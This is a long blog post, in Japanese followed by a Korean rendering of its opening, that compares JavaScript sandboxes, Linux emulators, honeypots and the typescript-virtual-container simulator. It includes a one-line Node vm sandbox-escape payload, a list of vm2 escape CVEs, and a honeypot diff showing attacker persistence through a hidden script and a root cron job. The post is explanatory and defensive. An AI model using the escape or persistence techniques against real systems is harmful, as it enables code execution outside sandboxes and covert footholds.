  • .vfsb -- コンパクトなバイナリ形式(カスタム、fflate圧縮)----これがデフォルト
  • JSONスナップショット -- 人間が読める、デバッグに便利
  • TARアーカイブ -- 実際のtar形式でのインポート/エクスポート。tar -xfすればVFSに……そのファイルが現れる
  • SquashFSイメージ -- 読み取り専用インポート

"fs"永続モードでは、クラッシュリカバリ用の書き込み先行ジャーナル(WAL)を維持する----書き込みはまずジャーナルに送られ、フラッシュ時にスナップショットに書き込まれる。Nodeが途中でクラッシュしても、ジャーナルで最後の完全な状態を再構築できる。

ディスクI/OレイテンシをシミュレートするFileCacheレイヤーもある。NVME_DISK_IOやHDD_DISK_IOのようなプロファイルを設定すると、VFSがファイル操作を意図的に遅延させ、現実的なタイミングに合わせる。ソフトウェアが自らを遅くしてハードウェアをシミュレートするというのはちょっと面白いが、ベンチマークには非常に便利だ。

シェルインタプリタ

シェルパーサーは型付きASTを生成する:

// "ls /etc | grep root && echo done" は以下にパースされる:
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

実行エンジンはこのASTを歩く:

  • パイプラインの場合、{ stdin, stdout, stderr }ストリームのチェーンを作成し、パイプI/Oで各コマンドを実行
  • 論理演算子(&&、||)の場合、右側を実行する前に左側の$?をチェック
  • サブシェル($(...)、` `)の場合、実行コンテキストをフォーク
  • リダイレクション(>file、>>file、2>&1、<file)の場合、実行前にストリーム配線をセットアップ
  • バックグラウンドジョブ(cmd &)の場合、完了を待たずに実行
  • 変数の場合、$VAR、${VAR:-default}、${#VAR}、算術$((expr))を展開
  • ブレース展開({a,b,c}、{1..5})の場合、実行前に完全な展開リストを生成

これらはすべて本物のPOSIXシェル動作だ。パーサーはヒアドキュメント、プロセス置換、グロビング(*、?、[abc])、引用符処理(シングルクォート、補間付きダブルクォート、バックスラッシュエスケープ)を処理する。完璧ではない----エッジケースは存在する----が、TypeScriptプロジェクトから期待されるものをはるかに超えている。

~170の組み込みコマンド

コマンドはコマンドレジストリに登録されたTypeScript関数だ。stdin/stdout/stderrストリーム、VFS、ユーザーセッション、シェル環境、サブモジュールへのアクセスを持つCommandContextを受け取る。

170のUnixコマンド実装を書くのは……大変だ。簡単なものもある(echo、true、false)、驚くほど複雑なものもある(awk、find、tar)。完全なPOSIX awk?TypeScriptで?それは正気の沙汰じゃない。以下が含まれているものの一部:

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp (クライアント側、外部接続),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git (スタブ), python3 (スタブ), node (スタブ),
nano (完全な対話型エディタ), vim (基本), vi (基本),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron (シミュレート), systemctl (スタブ), journalctl (スタブ),
...さらに~130以上

「スタブ」(git、python3、node)は一般的な呼び出しに現実的に応答する----python3 --versionは信憑性のあるバージョン文字列を返し、git statusは偽のリポジトリ状態を表示する----実際の作業は行わない。ハニーポットでは、これらは実際のものよりも有用だ。なぜなら、実際に有害なものを実行せずに、攻撃者が何を実行しようとするかを観察できるからだ。

SSHサーバー

SSHレイヤーは実際のssh2 npmパッケージを使用する----実際のSSHプロトコル、実際の鍵交換、実際の暗号化。SSHMimicがそれをラップする:

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// 本物のSSH: ssh -p 2222 root@localhost
// 本物のSFTP: sftp -P 2222 root@localhost
// 本物のSCP: scp -P 2222 file root@localhost:/tmp/

shellPropertiesはuname -a、lsb_release -a、neofetch、/proc/version、/etc/os-releaseが報告する内容を決定する。任意のLinuxディストリビューションとカーネルバージョンを説得力を持って偽装できる----実際のSSHクライアントからは、文字通り違いを見分ける方法がない。

HoneyPotモジュール

シェルインタプリタが本物でSSHサーバーが本物なので、攻撃者のコマンドは仮想環境内で実際に実行される。攻撃者がトリガーしたwgetリクエストは宛先URLとともに記録される。攻撃者が作成したファイルはVFSに保存される。攻撃者の権限昇格の試みは現実的なエラーを生成する。

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// セッション後、ファイルシステムの差分を取る
const before = shell.vfs.toSnapshot();
// ... 攻撃者セッション ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

これはCowrieとは質的に異なる。Cowrieの偽ファイルシステムはlsに応答できるが、攻撃者がどのファイルを作成し、どのような変更を構造化された差分として加えたかを実際に追跡することはできない。typescript-virtual-containerはそれができる。なぜならVFSが生きたデータ構造であり、すべての書き込みが追跡されるからだ。攻撃者が追加したcronエントリ?差分に含まれている。あの.hiddenフォルダ?差分に含まれている。マルウェア解析にかなり便利だ。

仮想ネットワークスタック

これはプロジェクト全体でおそらく最も印象的な部分であり、この分野の他のどのプロジェクトにも相当するものがない。完全なL2/L3仮想ネットワークスタックにVPNサポートまで付いて、純粋なTypeScriptで書かれ、実際のネットワークアダプターは関与していない。これは本当にすごい。

VirtualNetworkManagerは各VirtualShellインスタンスに仮想ネットワークインターフェースを提供し、設定可能なIPアドレス、ルーティングテーブル、ソフトウェアファイアウォール(conntrackとNAT付きiptablesスタイルのルール)を持つ。ip addr、ip route、iptables -L、netstat -rnはすべて仮想ネットワーク状態を表示する。

VirtualSwitch(Baieという名前----フランス語でサーバーラックベイ「baie informatique」から)は、複数のシェルを共有サブネット上で接続する。以下を実装:

  • MACラーニングとARP
  • サブネット間のIPルーティング
  • NAT(送信元マスカレード)
  • DNS(サブネットごとに設定可能なレコード)
  • ロードバランシング(ラウンドロビン、最小接続数)
  • トラフィックシェーピング:レイテンシ、ジッター(ガウス分布)、パケットロス、バーストロス、並び替え、重複
  • 帯域幅制限(トークンバケット)
  • MTU強制
  • コネクショントラッキング(ステートフル、NEW/ESTABLISHED/TIME_WAIT状態付き)
const baie = new Baie("192.168.0.0/24");

// 同じスイッチ上の3台の仮想マシン
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// ファイアウォール:webはapiに到達でき、apiはdbに到達できるが、webはdbに直接到達できない
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// トラフィックシェーピング:外部への不安定なWANリンクをシミュレート
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpnはBaieインスタンス間の暗号化トンネルを作成する----サイト間VPNインターコネクトを持つマルチサイトネットワークをシミュレートできる。

VirtualProxyはポート転送とSOCKS5プロキシを実装する。

どれも実際のネットワークアダプターには触れない。すべてTypeScriptのオブジェクトルーティングだ。pingコマンドは仮想スイッチを経由してルーティングされ、シミュレートされたICMP応答を返すことで「動作する」。curl http://192.168.0.3/apiは仮想ネットワークを通ってルーティングされ、apiシェルのシミュレートされたHTTP応答にヒットし、コンテンツを返す。すべてが入れ子構造で、最高にクールだ。

SandboxedShell

より強い分離が必要なプログラム的な使用のために、SandboxedShellはNode.js Workerスレッド内でシェルセッションを実行する:

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // 1コアの25%
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

ここでの分離はVFSレイヤー(Workerスレッドのシェルは仮想ファイルシステムのみを見ることができ、ホストファイルシステムには決してアクセスできない)とNode.js Workerスレッドのメモリ分離によって強制される。これはisolated-vmより軽量だが、JSレベルの分離ではなくシェルレベルの分離にはより適している。

リソース制限

シェルごとに設定可能なリソース制限があり、システム監視コマンドが報告する内容に影響する:

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

そのシェル内で、free -mは合計512 MBのRAMを表示する。nprocは2を返す。/proc/meminfoは制限された値を示す。htopとtopは制限されたCPU数を表示する。これにより、偽のマシンのハードウェアプロファイルを正確に設定できる。

3つのデプロイモード

モード1: SSH/SFTPサーバー
  VirtualSshServer / VirtualSftpServer
  → 本物のSSHプロトコル、本物のSFTP、本物のSCP
  → ユースケース:ハニーポット、リモートテスト環境、訓練ラボ

モード2: Webシェル(ブラウザ)
  builds/fortune-nyx-v1.7.8-web.min.js(ESMバンドル)
  → ブラウザで動作、VFSはIndexedDBに永続化
  → ユースケース:対話型チュートリアル、埋め込みターミナル、デモ
  → おまけ:startxfce4で完全なシミュレートXFCEデスクトップを実行可能

モード3: スタンドアロンCLI
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs(単一ファイル、インストール不要)
  → curlして実行、VFSは.vfs/ディレクトリに永続化
  → ユースケース:クイックデモ、ローカル実験

ポリフィル----Wasmなしでブラウザビルドが動く仕組み

これは本当に賢いと思った部分で、特に取り上げたかった。

Node.jsライブラリをブラウザで動作させるのは通常悪夢だ。Wasmランタイムを使うか(重い、ロードが遅い)、すべてのnode:*インポートを手動でブラウザ互換の代替品に置き換えるのに数週間費やすか。Fortuneは2番目の方法を選んだ----だが非常にクリーンに、リポジトリのpolyfills/ディレクトリに置かれたカスタムポリフィルセットを書くことで実現した。

ビルドパイプラインは、大量のaliasエントリを持つ単なるesbuildだ:

// demo/build.js -- ブラウザビルド設定全体
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

Wasmなし。外部ポリフィルライブラリなし。webpack-node-externalsの意味不明な設定なし。エイリアスされたモジュールといくつかの注入されたグローバルだけだ。それぞれを見ていこう----いくつかは本当に印象的だから。

node:fs -- 偽のファイルシステムとしてのIndexedDB

これがお気に入りだ。node:fsポリフィルは同期的なNode.js fs API(readFileSync、writeFileSync、existsSync、readdirSync、mkdirSync、unlinkSync、statSync...)を実装し、2つのレイヤーで動作する:同期的な読み取り用のインメモリMapと、ページリロード間の永続化用のIndexedDB。書き込みは即座にMapにヒットし(writeFileSyncの直後のreadFileSyncは常に機能する)、その後バックグラウンドで非同期的にIndexedDBにフラッシュされる。

// 同期キャッシュ(path → Uint8Array | null)----即時読み取り
const memCache = new Map();

// 起動時にIndexedDBからmemCacheにすべてをプリロード
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

これが、ブラウザでVFSスナップショットがページリロード後も存続する理由だ----.vfsbバイナリ全体がこのポリフィル経由でIndexedDBに書き込まれ、次回のロードで読み戻される。Wasmなし。サーバーなし。2011年からすべてのブラウザにあるIndexedDBだけだ。

node:crypto -- 純粋JSのSHA-256

Wasm暗号ライブラリを取り込む代わりに、cryptoポリフィルはFIPS 180-4のラウンド定数を使用してSHA-256をスクラッチから実装している。166行の純粋JSで、完全なhex/base64/Uint8Array出力サポート付き。ライブラリ内のすべてのハッシュ処理はこれを通る----SSHホストキーのフィンガープリンティング、内部チェックサム、すべて。コンパクトで、ゼロ依存、ただ動く。

node:os -- ブラウザの実際のハードウェアを読み取る

これがいい感じのタッチだ。ハードコードされたプレースホルダー値を返す代わりに、node:osはnavigator.deviceMemoryから総RAMを、navigator.hardwareConcurrencyからCPU数を読み取る。つまりブラウザビルド内のneofetchが、実際のマシンに対応する何かを報告する----作り物の「2コア、2GB RAM」スタブではない。

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 GB フォールバック
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // navigator.userAgentも解析してCPUモデル文字列を推測
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net、ssh2、roxify -- 正直なスタブ

ブラウザはTCPソケットを開けず、本物のSSHも実行できない。そのためこれらは、誰かが使おうとすると明確なメッセージとともにNotImplementedエラーをスローするスタブだ。サイレント障害なし、オブジェクトが期待される場所でundefinedが返ることもない。ただ大声で明確な「これはブラウザでは動かない」というメッセージ----まさに欲しいものだ。

process.jsとbuffer.js -- 注入されるグローバル

これら2つはesbuildのinjectオプションを介してすべてのバンドルファイルの先頭に注入されるので、processとBufferは明示的なインポートなしでグローバルに利用可能だ。process.jsは小さい:env、version、platform: 'browser'、queueMicrotask経由のnextTick、performance.now()経由のuptime。buffer.jsはUint8Arrayの上に構築された完全なBuffer再実装----SSH実装とVFSが依存するすべてのreadUInt32BE、writeInt16LE、hex/base64エンコーディングメソッド。


ポリフィルセット全体は合計約640行の手書きJSだ。npmパッケージなし。Wasmなし。そして結果は、ライブラリそのものをネイティブに実行するブラウザバンドルで、Nodeファーストのライブラリによくある「でもブラウザで本当に動くの?」という不安が一切ない。興味があればリポジトリのpolyfills/フォルダを見てみるといい----各ファイルは自己完結していて読みやすい。これは個人的に非常に評価しているスタイルの選択だ。

vm isolated-vm quickjs-emscripten v86 CheerpX WebContainers Cowrie typescript-virtual-container
カテゴリ JSサンドボックス JSサンドボックス JSサンドボックス エミュレーター エミュレーター Node.js/Wasm ハニーポット シミュレーター
JSの分離 ⚠️ スコープ ✅ V8 Isolate ✅ Wasm n/a n/a 部分的 n/a ✅ Worker
本物のLinuxカーネル ❌ ❌ ❌ ✅ ✅ ❌ ❌ ❌
シェルインタプリタ ❌ ❌ ❌ ✅(本物) ✅(本物) ✅(本物) 部分的 ✅(カスタム)
~170のUnixコマンド ❌ ❌ ❌ ✅ ✅ 部分的 ~20 ✅
POSIXパーミッション ❌ ❌ ❌ ✅ ✅ ✅ 部分的 ✅ 強制
ユーザー管理 ❌ ❌ ❌ ✅ ✅ ❌ 最小限 ✅ 完全
本物のSSHサーバー ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
SFTP / SCP ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
ハニーポット/監査 ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
VFS差分/スナップショット ❌ ❌ ❌ 限定的 ❌ ❌ ❌ ✅
仮想ネットワークL2/L3 ❌ ❌ ❌ 基本 ❌ ❌ ❌ ✅ 完全
仮想VPN ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
ブラウザ対応 ❌ ❌ ✅ ✅ ✅ ✅ ❌ ✅
Node.jsネイティブ ✅ ✅ ✅ ✅ ❌ ❌ ❌ ✅
型付きAPI 基本 ✅ ✅ 最小限 ❌ ✅ ❌ ✅ 完全
バイナリ互換性 n/a n/a n/a ✅ ✅ 部分的 n/a ❌
起動時間 即時 即時 即時 15–40秒 15–40秒 2–5秒 即時 <1秒
RAM/インスタンス ~1 MB ~3–10 MB ~5–15 MB 150–256 MB 200+ MB ~100 MB ~50 MB ~5–20 MB
ランタイム依存関係 0 1(ネイティブ) 1(Wasm) 0 プロプライエタリ 1 Python依存 3(ssh2, ws, fflate)
ステータス 安定 ✅ 活発 ✅ 活発 ✅ 非常に活発 商用 ✅ 活発 ✅ 活発 ✅ 活発

いつ何を使うべきか

信頼できないJavaScriptを実行する必要がある----ユーザー提出のフォーミュラ、プラグイン、スクリプトフック。 → isolated-vm。本物のV8 Isolate、ハードメモリ制限、明示的な通信ブリッジ。vm2は避けろ----CVEリストが増え続けてる、マジで数ヶ月ごとに新しいやつが出てる。vmも避けろ----そもそもサンドボックスですらない、頼むから。

JSをサンドボックス化したいが、ネイティブアドオンを使いたくない、またはブラウザ互換性が必要。 → quickjs-emscripten。Wasm境界、~500 KBモジュール、ブラウザとNodeで動作。V8より遅いが、真に分離されている。

本物の未改変Linux OSをバイナリ互換性で起動する必要がある。 → 32ビットLinuxならv86、既存のDockerイメージがあるならcontainer2wasm。150 MB+のRAMと30秒の起動時間を受け入れろ、それが条件だ。64ビットが必要なら、CheerpXか実際のコンテナランタイムを見ろ。

バックエンドなしでWebアプリにLinuxライクなターミナルを埋め込む必要がある。 → v86(完全なOS、重い、起動が遅い)またはtypescript-virtual-containerのブラウザバンドル(シミュレーター、軽量、即時起動、完全なデスクトップ用のstartxfce4も含む。正直かなりクール)。

インタラクティブなオンラインコーディングチュートリアルやブラウザIDEが必要。 → Node.jsエコシステム重視ならWebContainers。実際のLinuxユーザーランドが必要ならCheerpX。型付きAPIの軽量な選択肢が欲しいならtypescript-virtual-containerのブラウザバンドル。

SSH攻撃者のTTPを大規模に収集したい。 → Cowrieがプロダクション標準、以上。どのLinuxサーバーでも動作し、あらゆるSIEMと統合し、LLMモードもある。とにかくCowrieを使え。

Node.jsアプリケーションでプログラム可能なAPIを持つSSHハニーポットデータが必要。 → typescript-virtual-container。コマンドが実際に実行される。VFSはスナップショットや差分が取れる実際のデータ構造だ。攻撃者は説得力のある対話型環境を得る。あなたはNodeを離れずに構造化された監査データを得る。

DockerなしでCIでのシェル自動化/テストが必要。 → typescript-virtual-container。1秒未満で起動、テスト前にスナップショット、テスト後に復元。型付きAPIでシェルコマンドを実行。Dockerデーモン不要、カーネル不要、VM不要、待ち時間不要。

マルチテナントシェル環境(SaaS、教育、訓練)が必要。 → typescript-virtual-container。インスタンスあたり5–20 MB vs エミュレーターの150–256 MB。100人の同時ユーザー:~2 GB vs ~25 GB。ホスティングコストに大きな差が出る!

マルチVMネットワークラボも構築できる現実的なハニーポットが必要。 → typescript-virtual-containerはこの分野で両方をこなせる唯一のものだ。


できないこと(そしてこれについては正直でありたい)

ネイティブx86バイナリは実行できない。Cコードをコンパイルしたり、実際のPythonインタプリタを実行したり、Linux用にコンパイルされたソフトウェアを使用する必要がある場合、それらのシステムコールを支えるカーネルABIは存在しない。gcc、python3、nodeのようなコマンドはスタブだ------versionや一般的な呼び出しには応答するが、実際の処理は何も実行しない。

これが根本的なトレードオフだ:10–50倍低いメモリ、即時起動、ブラウザ互換性、型付きAPI、本物のSSH、仮想ネットワーキングを得る代わりに、Linuxユーザーランドとのバイナリ互換性を犠牲にする。

Fortuneはプロジェクトを設計する際にこれについて多くを考えた。彼女がターゲットにしていたユースケース----ハニーポット、テスト、埋め込みターミナル、CI環境----では、コンパイルされたバイナリを実行する必要性は実際には決して生じない。シェルパイプライン、ファイル操作、ネットワークルーティング、SSHでカバーできる。しかしユースケースが実際のコンパイル済みソフトウェアを必要とするなら、v86またはDockerが正しい答えであって、これではない。


まとめ

というわけで……このエコシステムは外から見るよりもずっと広く、断片化している。vmはスコープ分離器であってサンドボックスではない。vm2はCVEを積み上げ続けている(マジで、今月のアドバイザリーをチェックしてみて)。isolated-vmは正しいJSサンドボックス化の答えだが、JSのみ。quickjs-emscriptenはブラウザ互換性が必要だったり、ネイティブアドオンを避けたい場合の正しい選択だ。v86とCheerpXは、本当のバイナリ互換性が必要な場合の本物のエミュレーターだ。WebContainersはWasm内のNode.jsであって、汎用Linux環境ではない。CowrieはSSHハニーポットのゴールドスタンダードだが、PythonでNodeネイティブではない。

そしてtypescript-virtual-container----Fortuneのプロジェクト----は、独自のカテゴリに存在している。エミュレーターでもなく、JSサンドボックスでもなく、受動的ハニーポットでもない。それらの間の何かで、他のどれもできない多くのことに驚くほど役立つことがわかったものだ。

typescript-virtual-containerは他のどれも触れていないギャップを埋める:完全でプログラム可能なLinuxシェル環境、本物のSSH、SFTP、POSIXパーミッション、ユーザー管理、仮想ネットワーキング、型付きTypeScript API----~10 MBで動作し、1秒未満で起動し、Node.jsとブラウザの両方で動作する。

試してみたいなら、ソースはgithub.com/itsrealfortune/typescript-virtual-containerにあり、ライブデモ(完全なデスクトップ用のstartxfce4も含む、正直やばい)はitsrealfortune.fr/typescript-virtual-container/demoにある。チェックしてみて、FortuneにGitHubでスターを送ってやってくれ。彼女はそれに値する!

読んでくれてありがとう----俺の基準でも長い記事だった :) 役に立ったなら嬉しい!


出典

各主張は可能な限り一次ソースにリンクするようにした----CVE勧告、公式ドキュメント、GitHubリポジトリ、メンテナーのブログ記事。いくつか注意点:vm2のCVEリストは増え続けているので、FortiGuardのリンクは読む頃には古くなっているかもしれない(最新情報はGitHubのアドバイザリーページをチェック)。Bellardのリンクはすべて安定している----彼の個人サイトは永遠にアップしていて、コンテンツは変わらない。ポリフィルについてもっと深く知りたければ、typescript-virtual-containerリポジトリのpolyfills/フォルダを直接見てほしい----ここに書けるどんな説明よりも読みやすい。

JavaScriptサンドボックス

Linuxエミュレーター

ターミナルスタック

ハニーポット

typescript-virtual-container

背景資料

JavaScript Linux 커널 시뮬레이션 솔루션 비교

JavaScript/TypeScript로 Linux 환경을 재현하는 방법에 대한 심층 분석

모든 JavaScript 샌드박스, 에뮬레이터, 시뮬레이터, 허니팟 비교

그래서 나는 한동안 이 토끼굴에 완전히 빠져 있었어. typescript-virtual-container -- Fortune의 프로젝트 (그녀에 대해선 나중에 더 얘기할게) -- 를 도와주다 보니, 계속 "잠만, 이거 v86이랑 뭐가 다른데?" 또는 "그냥 vm2 쓰면 안 돼?"라는 질문을 받게 됐어. 그리고 나는 생태계 전체를 먼저 매핑하지 않고는 깔끔한 답변을 할 수 없겠다는 걸 깨달았지. 그래서 여기까지 왔어 lol.

알고 보니 네 가지 뚜렷한 계열이 있어 -- JS 샌드박스, Linux 에뮬레이터, Linux 시뮬레이터, 허니팟 -- 그리고 이들은 거의 겹치지 않는데, 항상 같은 맥락에서 언급되더라. 플러그인 시스템을 만드는 사람은 isolated-vm을 찾고, CLI 도구를 데모하는 사람은 v86을 찾고, SSH 위협 인텔리전스를 하는 사람은 Cowrie를 찾아. "코드를 상자 안에서 실행한다"는 모호한 우산 아래에서 완전히 다른 문제를 해결하고 있어.

이 글을 쓰기 위해 소스 코드, CVE 보고서, 아키텍처 문서, npm 페이지를 읽는 데 엄청난 시간을 썼어. 엄청 길 거야 -- 진짜 커피 한 잔 해. 아니면 두 잔.

빠른 면책: typescript-virtual-container가 이 글에서 많이 등장하는데, 이 연구를 촉발했기 때문이야. 다른 것들에도 공정하게 쓰려고 노력했지만, 그 맥락을 염두에 둬 줘.


파트 0 -- 먼저, 너는 어떤 문제를 해결하려는 거야?

들어가기 전에, 각 계열이 무엇을 위한 것인지 정확히 아는 게 중요해. 용어가 쉽게 헷갈리거든 (내가 직접 앉아서 매핑하기 전에는 나도 포함해서).

JS 샌드박스는 JavaScript 코드를 호스트 Node.js 프로세스로부터 격리시켜. 위협 모델은: process.exit()를 호출하거나, 파일을 읽거나, 자식 프로세스를 생성할 수 있는 신뢰할 수 없는 JS 코드야. 해결책은 V8 실행 경계야. 이 도구들은 Linux 셸, 권한이 있는 파일시스템, SSH 같은 개념이 없어.

Linux 에뮬레이터는 수정되지 않은 실제 Linux 커널을 CPU 에뮬레이터(x86, RISC-V, OR1K) 안에서 실행해. 진짜 OS를 부팅해. 진짜 시스템 콜을 얻어. x86으로 컴파일된 프로그램과 바이너리 호환성이 있어. 오버헤드는 엄청나.

Linux 시뮬레이터는 실제 커널을 실행하지 않고 Linux 시스템의 동작을 가짜로 구현해. 셸 인터프리터, 가상 파일시스템, 그리고 프로그램과 사람을 속일 만큼의 Unix 의미론을 구현해. 커널 없음. Wasm 없음. CPU 에뮬레이션 없음. 훨씬 낮은 오버헤드.

허니팟은 공격자를 유인하고 그들이 하는 일을 기록하기 위해 만들어졌어. 주로 실행 환경이 아니라 관측 도구야. 실제 Linux 동작에 대한 충실도는 공격자가 함정을 감지하지 못하게 하는 데까지만 중요해.

이 프레임워크로, 이 글의 모든 프로젝트가 여기에 해당해:

JS 샌드박스:        vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
Linux 에뮬레이터:    v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
Linux 시뮬레이터:   typescript-virtual-container (이 공간에서 유일함)
허니팟:          Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
터미널 스택:    xterm.js + node-pty (격리 도구는 아니지만 인접함)

파트 1 -- JavaScript 샌드박스

1.1 vm -- Node.js 내장 (네 생각만큼 안전하지 않아)

Node에서 "신뢰할 수 없는 JS를 실행"하는 가장 오래된 답변은 내장 vm 모듈이야. v0.1부터 있었어서 많은 사람들이 먼저 찾는데 -- 그리고 나서 당하지.

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

vm이 실제로 하는 일: 새로운 V8 컨텍스트(새로운 빌트인 생성자 세트 -- Object, Array, Function 등)를 만들고 그 안에서 코드를 실행해, sandbox에 넣은 모든 것에 대한 공유 참조를 가져. V8 엔진은 변하지 않아. 프로세스도 변하지 않아. 메모리는 공유돼.

vm이 보안을 제공하지 않는 이유: JavaScript의 프로토타입 체인은 모든 것을 Object.prototype에 연결하는 DAG야. 호스트 영역의 어떤 객체든 샌드박스에 넣으면, 게스트는 프로토타입 체인을 타고 올라가 호스트 생성자에 도달할 수 있어. Function에서 Function("return process")()를 호출하면 실제 process 객체를 되찾을 수 있어. 게임 오버. 바로 끝이야.

// 이건 vm에서 아주 잘 실행돼 -- 실제 process 객체를 되찾아와
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

그러니까, Node.js 문서 자체에서 말하길: "vm 모듈은 보안 메커니즘이 아닙니다. 신뢰할 수 없는 코드를 실행하는 데 사용하지 마세요." 이 경고는 영원히 있었어. 사람들은 계속 무시해. 프로덕션 앱에서 vm을 샌드박스로 사용하는 걸 본 적 있어. 제발 그러지 마 xD

평결: 샌드박스가 아니라 스코프 메커니즘이야. 격리된 변수 스코프가 필요할 때 사용해 (템플릿 엔진, 코드를 제어하는 eval 같은 기능). 절대 신뢰할 수 없는 입력에 사용하지 마.

메모리: 무시할 만한 오버헤드 -- 호스트 프로세스와 같은 V8 힙. 보안: 동기 있는 공격자에게는 없음.


1.2 vm2 -- 커뮤니티의 시도, 그리고 아주 긴 죽음

vm2는 vm의 탈출 문제에 대한 커뮤니티의 답변이었어. 핵심 아이디어: 샌드박스 경계를 넘는 모든 객체를 Proxy로 감싸서 속성 접근을 가로채고, 프로토타입 클라이밍을 막고, 위험한 참조를 걸러내. 이론상 영리한 아이디어야! 실제로는 별로 안 통했어, 곧 알게 되겠지만.

const { VM } = require("vm2");
const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // VMError 발생, process에 접근 불가

몇 년 동안 이건 꽤 잘 작동했어. 하지만 JavaScript Proxy의 공격 표면은 엄청나. 모든 새로운 JS 언어 기능 -- 제너레이터, 비동기 이터레이터, Symbol.toPrimitive, Error.prepareStackTrace, Promise 내부 슬롯 -- 은 잠재적 우회 벡터야.

CVE 타임라인은... 정말 대단해. 이걸 봐:

날짜 CVE 메커니즘
2022년 10월 CVE-2022-36067 Error.prepareStackTrace 호스트 컨텍스트 탈출
2023년 4월 CVE-2023-29017 처리되지 않은 비동기 에러 스택 호스트 객체 누출
2023년 4월 CVE-2023-29199 handleException()을 통한 예외 살균 우회
2023년 4월 CVE-2023-30547 Proxy.getPrototypeOf → Function → RCE
2023년 5월 CVE-2023-32314 Error.name의 Proxy → Function → RCE
2023년 7월 CVE-2023-37466 비동기 함수 + 스택 오버플로우 + Proxy.getPrototypeOf
2023년 7월 CVE-2023-37903 Worker 스레드 + eval 탈출

같은 달(2023년 4월)에 세 개의 치명적 CVE. 한 달에 세 개. CVE-2023-37903 이후, 유지보수자는 공식적으로 라이브러리를 더 이상 사용하지 말라고 선언하면서 "이 라이브러리는 치명적인 보안 문제를 포함하고 있으며 프로덕션에 사용해서는 안 됩니다." 라고 메시지를 남겼어.

